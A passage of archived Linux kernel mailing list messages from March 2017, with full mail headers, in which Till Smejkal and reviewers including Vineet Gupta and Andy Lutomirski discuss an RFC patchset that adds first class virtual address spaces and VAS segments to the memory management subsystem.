> > segments easily.
> 
> What do *I* mean?  You introduced the term, didn't you?
> Rereading your original I see you called them "VAS segments".

Oh, I am sorry. I thought that you were referring to some other feature that I don't
know.

> Anyway, whatever they are called, it would seem that these segments do not
> require any of the syncing mechanisms that are causing you problems.

Yes, VAS segments provide a possibility to share memory regions between multiple
address spaces without the need to synchronize heap, stack, etc. Unfortunately, the
VAS segment feature itself without the whole concept of first class virtual address
spaces is not as powerful. With some additional work it can probably be represented
with the existing shmem functionality.

The first class virtual address space feature on the other side provides a real
benefit for applications in our opinion namely that an application can switch between
different views on its memory which enables various interesting programming paradigms
as mentioned in the cover letter.

Till

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: Re: [RFC PATCH 10/13] mm: Introduce first class virtual address
 spaces
Date: Mon, 13 Mar 2017 18:35:27 -0700
Lines: 68
Approved: news@gmane.org
Message-ID: <cd1adda8-bf6a-47ad-bff3-5bc6626ac100@synopsys.com>
References: <20170313221415.9375-1-till.smejkal@gmail.com>
 <20170313221415.9375-11-till.smejkal@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="windows-1252"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1489455391 20508 195.159.176.226 (14 Mar 2017 01:36:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Mar 2017 01:36:31 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.7.0
Cc: <linux-kernel@vger.kernel.org>, <linux-alpha@vger.kernel.org>,
	<linux-snps-arc@lists.infradead.org>, <linux-arm-kernel@lists.infradead.org>,
	<adi-buildroot-devel@lists.sourceforge.net>, <linux-hexagon@vger.kernel.org>,
	<linux-ia64@vger.kernel.org>, <linux-metag@vger.kernel.org>,
	<linux-mips@linux-mips.org>, <linux-parisc@vger.kernel.org>,
	<linuxppc-dev@lists.ozlabs.org>, <linux-s390@vger.kernel.org>,
	<linux-sh@vger.kernel.org>, <sparclinux@vger.kernel.org>,
	<linux-xtensa@linux-xtensa.org>, <linux-media@vger.kernel.org>,
	<linux-mtd@lists.infradead.org>, <linux-usb@vger.kernel.org>,
	<linux-fsdevel@vger.kernel.org>, <linux-aio@kvack.org>, <linux-mm@kvack.org>,
	<linux-api@vger.kernel.org>, <linux-arch@vger.kernel.org>,
	<alsa-devel@alsa-project.org>, Ingo Molnar <mingo@kernel.org>, "Thomas
 Gleixner" <tglx@linutronix.de>, Andy Lutomirski <luto@amacapital.net>
To: Till Smejkal <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J.  Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	"Benjamin  Herrenschmidt" <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalias@libc.org>, "David S. Miller" <d
Original-X-From: owner-linux-aio@kvack.org Tue Mar 14 02:36:22 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1cnbNu-0004UV-DJ
	for gla-linux-aio@m.gmane.org; Tue, 14 Mar 2017 02:36:22 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 066046B038D; Mon, 13 Mar 2017 21:36:27 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id F32206B038E; Mon, 13 Mar 2017 21:36:26 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id DD13B6B0390; Mon, 13 Mar 2017 21:36:26 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-pg0-f71.google.com (mail-pg0-f71.google.com [74.125.83.71])
	by kanga.kvack.org (Postfix) with ESMTP id 8A1866B038D
	for <linux-aio@kvack.org>; Mon, 13 Mar 2017 21:36:26 -0400 (EDT)
Original-Received: by mail-pg0-f71.google.com with SMTP id q126so340415107pga.0
        for <linux-aio@kvack.org>; Mon, 13 Mar 2017 18:36:26 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-original-authentication-results:x-gm-message-state:subject:to
         :references:cc:newsgroups:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-transfer-encoding;
        bh=pMI27EBkftP59AENaWMAIOdKxl0hwwVe0eUTVT4Ss4w=;
        b=UmbI+LbyTJUzak4mjU7jZ3+HsVMjikZAo7sAzl3C5mWxeyS4TAY9yzYxzriF8LQBQl
         iqIZmNWva+0qe3kZ7/B2hvJ173sMgI3iuZ7vLD9O0xI9g9iwX6SDSn2/sJdKztK7RwY7
         yvzL4Sj/0R3vKfmH85aoIEAQ7mhdWk7+0KaDg8TMXGiHYlrUPZyDl/nM3UJE5eVgsfpz
         Y3FqxKPzA5oaZB/GG5CJjQJpqvD4rzWh4/qh3PR7HQd1sGnNf3+dZQmM9UIDwTI2KL/a
         c3i9Z6xDlcgev4WPOP99DlJTiVVM4KdCHALgO+wcDQ9iguf2/06j29+cJL4ObPfbCSVF
         KYAw==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: best guess record for domain of vineet.gupta1@synopsys.com designates 198.182.47.9 as permitted sender) smtp.mailfrom=Vineet.Gupta1@synopsys.com
X-Gm-Message-State: AMke39kWb6TIUxDuZ44Kxf2tkDtFNfj7M7jXrGUQY80dboQf5cTTUBy051Ko2/c7bvz7UbfX3XzKs3D9zLE7nv0o3sKQ7sqiK02EQ2c6ao0LML1f082ui02lMQ4uzAKg4JFq/1OfyI+ALLNVgfYwYFNhJlyhQGg49lNunCpLjiutCNs0S0MMPlZB/nwgfj4=
X-Received: by 10.98.205.7 with SMTP id o7mr40979893pfg.171.1489455386217;
        Mon, 13 Mar 2017 18:36:26 -0700 (PDT)
X-Received: by 10.98.205.7 with SMTP id o7mr40979848pfg.171.1489455385620;
        Mon, 13 Mar 2017 18:36:25 -0700 (PDT)
Original-Received: from smtprelay.synopsys.com (smtprelay.synopsys.com. [198.182.47.9])
        by mx.google.com with ESMTPS id c2si13044990pgf.100.2017.03.13.18.36.25
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 18:36:25 -0700 (PDT)
Received-SPF: pass (google.com: best guess record for domain of vineet.gupta1@synopsys.com designates 198.182.47.9 as permitted sender) client-ip=198.182.47.9;
Authentication-Results: mx.google.com;
       spf=pass (google.com: best guess record for domain of vineet.gupta1@synopsys.com designates 198.182.47.9 as permitted sender) smtp.mailfrom=Vineet.Gupta1@synopsys.com
Original-Received: from mailhost.synopsys.com (mailhost2.synopsys.com [10.13.184.66])
	by smtprelay.synopsys.com (Postfix) with ESMTP id 4FCBC24E1F77;
	Mon, 13 Mar 2017 18:36:18 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (localhost [127.0.0.1])
	by mailhost.synopsys.com (Postfix) with ESMTP id 47676DEF;
	Mon, 13 Mar 2017 18:36:18 -0700 (PDT)
Original-Received: from US01WEHTC3.internal.synopsys.com (us01wehtc3.internal.synopsys.com [10.15.84.232])
	by mailhost.synopsys.com (Postfix) with ESMTP id 5CDD0DAF;
	Mon, 13 Mar 2017 18:36:14 -0700 (PDT)
Original-Received: from IN01WEHTCB.internal.synopsys.com (10.144.199.106) by
 US01WEHTC3.internal.synopsys.com (10.15.84.232) with Microsoft SMTP Server
 (TLS) id 14.3.266.1; Mon, 13 Mar 2017 18:36:14 -0700
Original-Received: from IN01WEHTCA.internal.synopsys.com (10.144.199.104) by
 IN01WEHTCB.internal.synopsys.com (10.144.199.105) with Microsoft SMTP Server
 (TLS) id 14.3.266.1; Tue, 14 Mar 2017 07:06:11 +0530
Original-Received: from [10.12.196.139] (10.12.196.139) by
 IN01WEHTCA.internal.synopsys.com (10.144.199.243) with Microsoft SMTP Server
 (TLS) id 14.3.266.1; Tue, 14 Mar 2017 07:06:10 +0530
Original-Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,
 gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
In-Reply-To: <20170313221415.9375-11-till.smejkal@gmail.com>
X-Originating-IP: [10.12.196.139]
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4958 gmane.linux.kernel:2431360 gmane.linux.ports.alpha:4143 gmane.linux.kernel.arc:2232 gmane.linux.ports.arm.kernel:564786 gmane.linux.ports.hexagon:1168 gmane.linux.ports.ia64:27707 gmane.linux.kernel.metag:1277 gmane.linux.ports.mips.general:58355 gmane.linux.ports.parisc:27335 gmane.linux.ports.ppc64.devel:139551 gmane.linux.ports.sh.devel:55141 gmane.linux.ports.sparc:24738 gmane.linux.drivers.video-input-infrastructure:114765 gmane.linux.drivers.mtd:72553 gmane.linux.usb.general:156135 gmane.linux.file-systems:119105 gmane.linux.kernel.mm:168286 gmane.linux.kernel.api:22542 gmane.linux.kernel.cross-arch:35550 gmane.linux.alsa.devel:165328
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4958>

+CC Ingo, tglx

Hi Till,

On 03/13/2017 03:14 PM, Till Smejkal wrote:
> Introduce a different type of address spaces which are first class citizens
> in the OS. That means that the kernel now handles two types of AS, those
> which are closely coupled with a process and those which aren't. While the
> former ones are created and destroyed together with the process by the
> kernel and are the default type of AS in the Linux kernel, the latter ones
> have to be managed explicitly by the user and are the newly introduced
> type.
> 
> Accordingly, a first class AS (also called VAS == virtual address space)
> can exist in the OS independently from any process. A user has to
> explicitly create and destroy them in the system. Processes and VAS can be
> combined by attaching a previously created VAS to a process which basically
> adds an additional AS to the process that the process' threads are able to
> execute in. Hence, VAS allow a process to have different views onto the
> main memory of the system (its original AS and the attached VAS) between
> which its threads can switch arbitrarily during their lifetime.
> 
> The functionality made available through first class virtual address spaces
> can be used in various different ways. One possible way to utilize VAS is
> to compartmentalize a process for security reasons. Another possible usage
> is to improve the performance of data-centric applications by being able to
> manage different sets of data in memory without the need to map or unmap
> them.
> 
> Furthermore, first class virtual address spaces can be attached to
> different processes at the same time if the underlying memory is only
> readable. This mechanism allows sharing of whole address spaces between
> multiple processes that can both execute in them using the contained
> memory.

I've not looked at the patches closely (or read the references paper fully yet),
but at first glance it seems on ARC architecture, we can can potentially
use/leverage this mechanism to implement the shared TLB entries. Before anyone
shouts these are not same as the IA64/x86 protection keys which allow TLB entries
with different protection bits across processes etc. These TLB entries are
actually *shared* by processes.

Conceptually there's shared address spaces, independent of processes. e.g. ldso
code is shared address space #1, libc (code) #2 .... System can support a limited
number of shared addr spaces (say 64, enough for typical embedded sys).

While Normal TLB entries are tagged with ASID (Addr space ID) to keep them unique
across processes, Shared TLB entries are tagged with Shared address space ID.

A process MMU context consists of ASID (a single number) and a SASID bitmap (to
allow "subscription" to multiple Shared spaces. The subscriptions are set up bu
userspace ld.so which knows about the libs process wants to map.

The restriction ofcourse is that the spaces are mapped at *same* vaddr is all
participating processes. I know this goes against whole security, address space
randomization - but it gives much better real time performance. Why does each
process need to take a MMU exception for libc code...

So long story short - it seems there can be multiple uses of this infrastructure !

-Vineet

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.aio.general,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: Re: [RFC PATCH 00/13] Introduce first class virtual address spaces
Date: Mon, 13 Mar 2017 19:07:09 -0700
Lines: 85
Approved: news@gmane.org
Message-ID: <20170314020709.vxeglus54k76i7rn@arch-dev>
References: <CALCETrWe8uOi3m8qXUbMA4017+rxbi1C8hzZ0bwjVHmfdE4FnQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1489457243 23363 195.159.176.226 (14 Mar 2017 02:07:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Mar 2017 02:07:23 +0000 (UTC)
User-Agent: NeoMutt/20170306 (1.8.0)
Cc: Till Smejkal <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalia
To: Andy Lutomirski <luto@kernel.org>
Original-X-From: owner-linux-mm@kvack.org Tue Mar 14 03:07:11 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1cnbri-0004hg-FC
	for glkm-linux-mm-2@m.gmane.org; Tue, 14 Mar 2017 03:07:10 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id CE8E26B0388; Mon, 13 Mar 2017 22:07:15 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id C73256B038A; Mon, 13 Mar 2017 22:07:15 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id AEAF26B038B; Mon, 13 Mar 2017 22:07:15 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wm0-f69.google.com (mail-wm0-f69.google.com [74.125.82.69])
	by kanga.kvack.org (Postfix) with ESMTP id 51F646B038A
	for <linux-mm@kvack.org>; Mon, 13 Mar 2017 22:07:15 -0400 (EDT)
Original-Received: by mail-wm0-f69.google.com with SMTP id c143so16671886wmd.1
        for <linux-mm@kvack.org>; Mon, 13 Mar 2017 19:07:15 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:date:to:cc:subject
         :message-id:mail-followup-to:mime-version:content-disposition
         :content-transfer-encoding:in-reply-to:user-agent;
        bh=8lAifVLftxCDt05mTDrVYKXmHSB13ZRC+ceVMa4DhVA=;
        b=AdDRHYZAe/UqGiD3wPvKTy6XxVRBFXwUmOubvVN/L+AiIjDqOvjfZ3iBnIWxU+8yCA
         DG0P8MTeGjTsJC/Y03SrvLIfZUEbxH7p/2zlSyBbBrWXDvjsLACXHaCaqJq9J3FIOjG5
         aQVuNWNnz5zND2wMmeRf7mgwhyCk9R9wZpxL7gPVWF5GE+iFpuiits3Tf5imwTo0owm6
         pNnzSIn2zB8t+UgHodirGRLWndOPLUz7jDBz+qcEtVb2ShixIuhjNaCdetLRyLUZjXZH
         cHOwB4zj7oxXUy45k92JA6sy32qMUKdLX+RYNBDKTbsyOFNwlL0RyrcYQNdT5Cs05tqB
         qQtw==
X-Gm-Message-State: AFeK/H3WkWXd8K+p7vGAywxJ7+L6Zo2rdZcwWZpX0PBQ0ALXaQDTh4S8DOQpsrRFqhfrRhRMPCAw6Tz1pFrNzsYASO7phB/CBSV3NLKa0GhytUKsatVGjvRaeKMbZH5K23TbucAOBlAK2G8to/5I0fNpOvtvGJoBQ+9F8vMbagljoUwqG1OxLsrbed0AtYjS363pDcReer4R2Dq11FqbejKkP2ikF6k9k3ZWlxBz1PY0RRgq0Mf1thIIwmoEHdxIQ3bDMPhvc6XhYunPaE0n1FOvkbsUsoUjwIeA1nHPF+rFQBa5yQ==
X-Received: by 10.28.172.68 with SMTP id v65mr11981474wme.111.1489457234866;
        Mon, 13 Mar 2017 19:07:14 -0700 (PDT)
X-Received: by 10.28.172.68 with SMTP id v65mr11981429wme.111.1489457233780;
        Mon, 13 Mar 2017 19:07:13 -0700 (PDT)
Original-Received: from mail-wr0-x241.google.com (mail-wr0-x241.google.com. [2a00:1450:400c:c0c::241])
        by mx.google.com with ESMTPS id g15si13209726wmc.25.2017.03.13.19.07.13
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 19:07:13 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::241 as permitted sender) client-ip=2a00:1450:400c:c0c::241;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::241 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wr0-x241.google.com with SMTP id u48so22223392wrc.1;
        Mon, 13 Mar 2017 19:07:13 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:date:to:cc:subject:message-id:mail-followup-to:mime-version
         :content-disposition:content-transfer-encoding:in-reply-to
         :user-agent;
        bh=8lAifVLftxCDt05mTDrVYKXmHSB13ZRC+ceVMa4DhVA=;
        b=vdw3uQnAGgyp/v1sEUo4i9vPKo4qUZlDjF/dNgVLLgGC39WaioLuJsrtQ35c1AwZ9v
         gJ8ROXEuZ+776yOIwaumneHg+VWQc4S8Zmk6+SHOtIeLqvjcq0WzmedmsvG2/ojhlCh8
         7sleOFNZWAjAc2SG8lV9BJvCVAzOfCXINk4WwZEeLoSEM0vC/TeaXMa7PDS9MwQM20Ub
         dFcJi1mYbHXbkKe1wIopx2KfE/VosdPXN1/5OetHGLk102zdn/aG230SVsGm277/iB+8
         bn4yTol0FHokC58Yu+rK+O2hj9jPiMlm2icpc4BIbNcSDDfSnjVMcYZOq5JPH2nDvP6T
         0jZA==
X-Received: by 10.223.169.171 with SMTP id b40mr32421279wrd.132.1489457233070;
        Mon, 13 Mar 2017 19:07:13 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id 5sm27053541wrd.58.2017.03.13.19.07.11
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Mar 2017 19:07:12 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
Mail-Followup-To: Andy Lutomirski <luto@kernel.org>,
	Till Smejkal <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato 
Content-Disposition: inline
In-Reply-To: <CALCETrWe8uOi3m8qXUbMA4017+rxbi1C8hzZ0bwjVHmfdE4FnQ@mail.gmail.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:168287 gmane.linux.kernel:2431372 gmane.linux.ports.alpha:4144 gmane.linux.kernel.arc:2234 gmane.linux.ports.arm.kernel:564787 gmane.linux.ports.hexagon:1169 gmane.linux.ports.ia64:27708 gmane.linux.kernel.metag:1278 gmane.linux.ports.mips.general:58356 gmane.linux.ports.parisc:27336 gmane.linux.ports.ppc64.devel:139553 gmane.linux.ports.sh.devel:55142 gmane.linux.ports.sparc:24739 gmane.linux.drivers.video-input-infrastructure:114766 gmane.linux.drivers.mtd:72554 gmane.linux.usb.general:156140 gmane.linux.file-systems:119106 gmane.linux.kernel.aio.general:4959 gmane.linux.kernel.api:22543 gmane.linux.kernel.cross-arch:35551 gmane.linux.alsa.devel:165329
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/168287>

On Mon, 13 Mar 2017, Andy Lutomirski wrote:
> On Mon, Mar 13, 2017 at 3:14 PM, Till Smejkal
> <till.smejkal@googlemail.com> wrote:
> > This patchset extends the kernel memory management subsystem with a new
> > type of address spaces (called VAS) which can be created and destroyed
> > independently of processes by a user in the system. During its lifetime
> > such a VAS can be attached to processes by the user which allows a process
> > to have multiple address spaces and thereby multiple, potentially
> > different, views on the system's main memory. During its execution the
> > threads belonging to the process are able to switch freely between the
> > different attached VAS and the process' original AS enabling them to
> > utilize the different available views on the memory.
> 
> Sounds like the old SKAS feature for UML.

I haven't heard of this feature before, but after shortly looking at the description
on the UML website it actually has some similarities with what I am proposing. But as
far as I can see this was not merged into the mainline kernel, was it? In addition, I
think that first class virtual address spaces goes even one step further by allowing
AS to live independently of processes.

> > In addition to the concept of first class virtual address spaces, this
> > patchset introduces yet another feature called VAS segments. VAS segments
> > are memory regions which have a fixed size and position in the virtual
> > address space and can be shared between multiple first class virtual
> > address spaces. Such shareable memory regions are especially useful for
> > in-memory pointer-based data structures or other pure in-memory data.
> 
> This sounds rather complicated.  Getting TLB flushing right seems
> tricky.  Why not just map the same thing into multiple mms?

This is exactly what happens at the end. The memory region that is described by the
VAS segment will be mapped in the ASes that use the segment.

> >
> >             |     VAS     |  processes  |
> >     -------------------------------------
> >     switch  |       468ns |      1944ns |
> 
> The solution here is IMO to fix the scheduler.

IMHO it will be very difficult for the scheduler code to reach the same switching
time as the pure VAS switch because switching between VAS does not involve saving any
registers or FPU state and does not require selecting the next runnable task. VAS
switch is basically a system call that just changes the AS of the current thread
which makes it a very lightweight operation.

> Also, FWIW, I have patches (that need a little work) that will make
> switch_mm() waaaay faster on x86.

These patches will also improve the speed of the VAS switch operation. We are also
using the switch_mm function in the background to perform the actual hardware switch
between the two ASes. The main reason why the VAS switch is faster than the task
switch is that it just has to do fewer things.

> > At the current state of the development, first class virtual address spaces
> > have one limitation, that we haven't been able to solve so far. The feature
> > allows, that different threads of the same process can execute in different
> > AS at the same time. This is possible, because the VAS-switch operation
> > only changes the active mm_struct for the task_struct of the calling
> > thread. However, when a thread switches into a first class virtual address
> > space, some parts of its original AS are duplicated into the new one to
> > allow the thread to continue its execution at its current state.
> 
> Ick.  Please don't do this.  Can we please keep an mm as just an mm
> and not make it look magically different depending on which process
> maps it?  If you need a trampoline (which you do, of course), just
> write a trampoline in regular user code and map it manually.

Did I understand you correctly that you are proposing that the switching thread
should make sure by itself that its code, stack, … memory regions are properly setup
in the new AS before/after switching into it? I think, this would make using first
class virtual address spaces much more difficult for user applications to the extend
that I am not even sure if they can be used at all. At the moment, switching into a
VAS is a very simple operation for an application because the kernel will just simply
do the right thing.

Till

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.aio.general,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: Re: [RFC PATCH 10/13] mm: Introduce first class virtual address
 spaces
Date: Mon, 13 Mar 2017 19:34:27 -0700
Lines: 51
Approved: news@gmane.org
Message-ID: <20170314023427.3p4a5qxtl5eh5epi@arch-dev>
References: <cd1adda8-bf6a-47ad-bff3-5bc6626ac100@synopsys.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1489458878 24375 195.159.176.226 (14 Mar 2017 02:34:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Mar 2017 02:34:38 +0000 (UTC)
User-Agent: NeoMutt/20170306 (1.8.0)
Cc: Till Smejkal <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
